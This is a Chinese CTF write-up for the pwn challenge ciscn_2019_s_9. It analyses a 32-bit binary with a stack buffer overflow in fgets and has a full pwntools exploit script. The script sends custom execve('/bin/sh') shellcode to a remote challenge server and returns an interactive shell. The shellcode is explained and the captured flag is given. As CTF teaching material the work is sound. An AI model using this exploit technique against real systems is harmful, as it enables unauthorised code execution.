ciscn_2019_s_9
解析
还是先查一下壳,无壳,32位,拖入ida中,查看main函数
checksec一下,看看开没开什么保护
结果什么保护都没开。
之后main函数直接返回到了pwn函数,那么直接看pwn函数,发现s存在溢出,可以获取0x32字节,但是栈里面只有0x20
int pwn()
{
char s[24]; // [esp+8h] [ebp-20h]
puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 50, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 s db 24 dup(?)
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
发现pwntools自带的shell,大小不够,之后我们可以自己写shell来
脚本
from pwn import *
#p = process('./ciscn_s_9')
p = remote('node4.buuoj.cn',27898)
context(os = 'linux',arch = 'i386',log_level = 'debug')
shellcode_s ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
shellcode_s = asm(shellcode_s)
print(shellcode_s)
print(hex(len(shellcode_s)))
payload =shellcode_s.ljust(0x24,b'a') + p32(0x08048554) + asm("sub esp,0x28;call esp")
p.sendlineafter(b">\n",payload)
print(payload)
p.interactive()
这里写的这个脚本要说明一下,正常格式是
eax为0
edx为0
之后是shell
之后ebx指向shell
之后eax给execve函数中断
最后是系统中断
所以按照这个写、shellcode就是
__asm{
xor eax,eax
xor edx,edx
push 0x68732f2f //sh//
push 0x6e69622f //nib/
//到了这里,形成了/bin/sh,因为是在栈内,要反着写
mov ebx,esp
xor eax,eax
mov al,0Bh //execve中断
int 80h //系统中断
}
最后获得flag是flag{9dff76d8-ab56-4d08-8460-33e2b034bc07}